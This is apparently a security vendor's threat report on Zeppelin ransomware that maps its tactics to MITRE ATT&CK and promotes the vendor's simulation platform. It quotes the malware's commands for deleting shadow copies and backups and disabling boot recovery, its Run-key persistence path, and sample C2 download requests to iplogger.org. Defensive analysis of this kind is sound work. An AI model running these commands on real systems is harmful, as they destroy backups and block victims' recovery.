Zeppelin Ransomware Analysis, Simulation, and Mitigation

The Red Report 2024

The Top 10 MITRE ATT&CK Techniques Used by Adversaries

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On August 12, 2022, The Cybersecurity and Infrastructure Security Agency (CISA) released a joint advisory on Zeppelin ransomware [1]. Zeppelin ransomware group uses the Ransomware-as-a-Service business model. Threat actors using Zeppelin ransomware target various industries such as defense, education, manufacturing, IT, and healthcare.

Picus Threat Library already had attack simulations for earlier variants of Zeppelin ransomware. Picus Labs added attack simulations for newer variants to Picus Threat Library, and you can test your security controls against Zeppelin ransomware attacks with Picus.

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Zeppelin Ransomware Group

Zeppelin ransomware group, also known as Vega or VegaLocker, started its operation in early 2019 with malvertisements (malware advertisements) targeting Russian-speaking users. In their later ransomware campaigns, Zeppelin started to avoid hosts based in Russia and ex-USSR countries. 

Zeppelin developed various ransomware variants such as Vega, Jamper, Storm, and Buran and distributed them using the Ransomware-as-a-Service business model.  Although variants were based on the same code and had similar features, each variant was distinguishably different. The latest variant Zeppelin is highly configurable and can be deployed in different forms such as executable, DLL, or wrapped in PowerShell loader. Similar to malvertisements, threat actors use watering hole techniques and post their malicious samples on popular sites like Pastebin.

Zeppelin ransomware uses "double extortion method" and exfiltrates its victim's sensitive data to pressure its victims to pay the ransom. 

Figure 1: Ransom note after Zeppelin infection [2]

TTPs Used by Zeppelin Ransomware Group

Zeppelin ransomware group uses the following tactics, techniques, and procedures (TTPs) in the MITRE ATT&CK framework:

Tactic: Initial Access

  • T1133 External Remote Services

Zeppelin threat actors exploit remote desktop protocol to infiltrate their target's network.

  • T1190 Exploit Public Facing Application

Zeppelin threat actors are known to exploit vulnerabilities found in SonicWall to gain initial access. Defenders are advised to patch their SonicWall products without delay.

  • T1566 Phishing

Zeppelin group crafts phishing emails and fake advertisements with malicious links and attachments. These phishing materials aim to trick target users into executing malicious payloads and infect target networks.

Tactic: Execution      

  • T1059 Command and Scripting Interpreter

Zeppelin ransomware uses Windows Command Prompt (cmd.exe) to execute its malicious command. Also, a batch file named "temp001.bat" deletes volume shadow copies to inhibit system recovery.

bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures 

bcdedit.exe bcdedit /set {default} recoveryenabled no

wbadmin.exe wbadmin delete catalog -quiet 

wbadmin.exe wbadmin delete systemstatebackup 

wbadmin.exe wbadmin delete systemstatebackup -keepversions:0

wbadmin.exe wbadmin delete backup 

wmic.exe wmic shadowcopy delete 

vssadmin.exe vssadmin delete shadows /all /quiet

Example 1: Commands executed by "temp001.bat" file 

  • T1059.001 PowerShell

Zeppelin ransomware uses PowerShell to bypass execution policy and delete volume shadow copies using the following command.

powershell.exe -ExecutionPolicy ByPass -Command "Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}"

Example 2: Bypassing execution policy via PowerShell

Tactic: Persistence & Privilege Escalation

  • T1547.001 Registry Run Keys / Startup Folder

Zeppelin ransomware establishes persistence by adding malicious binaries to registries below. This malicious action allows ransomware to be executed each time a user logs in to an infected host. Also, the UAC prompt option of the registry key is set to run with elevated privileges.

HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN

Example 3: Registry key used by Zeppelin to establish persistence

Tactic: Defense Evasion

  • T1027 Obfuscated Files or Information

Strings in Zeppelin binaries are encrypted with a 32-byte RC4 key. Also, Zeppelin uses a Delphi packer to pack malicious files. These actions make detecting and analyzing malicious files difficult for defenders.

  • T1070.004 File Deletion

After a successful attack, Zeppelin ransomware deletes its artifacts to avoid further detection and investigation.

  • T1497.003 Virtualization/Sandbox Evasion: Time Based Evasion

Zeppelin ransomware uses the sleep function to identify whether the infected host is a virtual machine. If the sleep function and timestamps do not match, it does not execute its malicious functions.

Tactic: Discovery

  • T1012 Query Registry

Zeppelin ransomware reads the following registry to gain information about the infected host.

Viewing the installation date of the operating system

HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION"; Key: "INSTALLDATE


Viewing the computer name

HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME


Viewing support languages

HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE

HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE


Viewing Windows Trust Settings

HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WINTRUST\TRUST PROVIDERS\SOFTWARE PUBLISHING


Viewing the cryptographic machine GUID of the infected system

HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: "MACHINEGUID"

Example 4: Registries queried by Zeppelin ransomware

Tactic: Command and Control

  • T1071.001 Web Protocols

Zeppelin ransomware communicates with its command and control server via shortened URLs addressing its C2 server. 

GET /1DLTt7.gz HTTP/1.1

Host: iplogger.org

User-Agent: Zeppelin

Referer: 24D-A86-273

—---------------------------—

GET /14xAa7.tar HTTP/1.1

Host: iplogger.org

User-Agent: Imposter

Referer: 106-9DB-11F

Example 5: Sample GET requests sent by infected machines

Tactic: Impact

  • T1486 Data Encrypted for Impact

Zeppelin ransomware encrypts its victims' files and directories and demands ransom for the decryption key. Some variants of Zeppelin ransomware do not track infected hosts and encrypt files multiple times.

  • T1490 Inhibit System Recovery

Zeppelin ransomware deletes volume shadow copies and system state backups to prevent its victims from recovering encrypted files.

wmic shadowcopy delete 

bcdedit /set {default} recoveryenabled no

bcdedit /set {default} bootstatuspolicy ignoreallfailures 

wbadmin delete backup

wbadmin delete catalog -quiet

wbadmin delete systemstatebackup

vssadmin delete shadows /all /quiet

Example 6: Commands used by Zeppelin for T1490 Inhibit System Recovery

How Picus Helps Simulate Zeppelin Ransomware Attacks?

We also strongly suggest simulating Zeppelin ransomware attacks to test the effectiveness of your security controls against ransomware attacks using the Picus' The Complete Security Control Validation Platform. You can test your defenses against Zeppelin ransomware and hundreds of other ransomware such as Conti, DarkSide, and REvil (Sodinokibi) within minutes with a 14-day free trial of the Picus Platform.

Picus Threat Library includes the following threats for Zeppelin ransomware

Threat ID

Action Name

Attack Module

21938

Zeppelin Ransomware Email Threat

Email Infiltration (Phishing)

90105

Zeppelin Ransomware Download Threat

Network Infiltration

 


Moreover, Picus Threat Library contains 150+ threats containing 1500+ web application and vulnerability exploitation attacks in addition to 3500+ endpoint, malware, email, and data exfiltration threats as of today.

Picus also provides actionable mitigation content. Picus Mitigation Library includes prevention signatures to address Zeppelin ransomware and other ransomware attacks in preventive security controls. Currently, Picus Labs validated the following signatures for Zeppelin:

Security Control

Signature ID

Signature Name

Check Point NGFW

0D6B91FA4

HEUR:Trojan-Ransom.Win32.Generic.TC.fumc

Check Point NGFW

0DA87F6CE

HEUR:Trojan-Ransom.Win32.Generic.TC.fukl

Check Point NGFW

0B991B00C

HEUR:Trojan.Win32.Agent.gen.TC.ampqe

Check Point NGFW

0A8D49747

HEUR:Trojan.Win32.DelShad.gen.TC.ako

Check Point NGFW

0F501405D

HEUR:Trojan-Ransom.Win32.Generic.TC.fuka

Check Point NGFW

08C45EEAF

HEUR:Trojan.Win32.Agent.gen.TC.ampqk

Check Point NGFW

0F26AE42B

Trojan-Ransom.Win32.Vega.df.TC.c

Fortigate AV

8156376

W32/Buran.H!tr.ransom

Fortigate AV

8187637

W32/AI.Pallas.Suspicious

McAfee

0x4840c900

MALWARE: Malicious File Detected by GTI

Start simulating emerging threats today and get actionable mitigation insights with a  14-day free trialof Picus' The Complete Security Control Validation Platform.

Indicators of Compromises

SHA-256

MD5

SHA-1

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References

[1] "#StopRansomware: Zeppelin Ransomware." [Online]. Available: https://www.cisa.gov/uscert/ncas/alerts/aa22-223a. [Accessed: Aug. 12, 2022]

[2] L. Abrams, "Zeppelin Ransomware Targets Healthcare and IT Companies," BleepingComputer, Dec. 11, 2019. [Online]. Available: https://www.bleepingcomputer.com/news/security/zeppelin-ransomware-targets-healthcare-and-it-companies/. [Accessed: Aug. 12, 2022]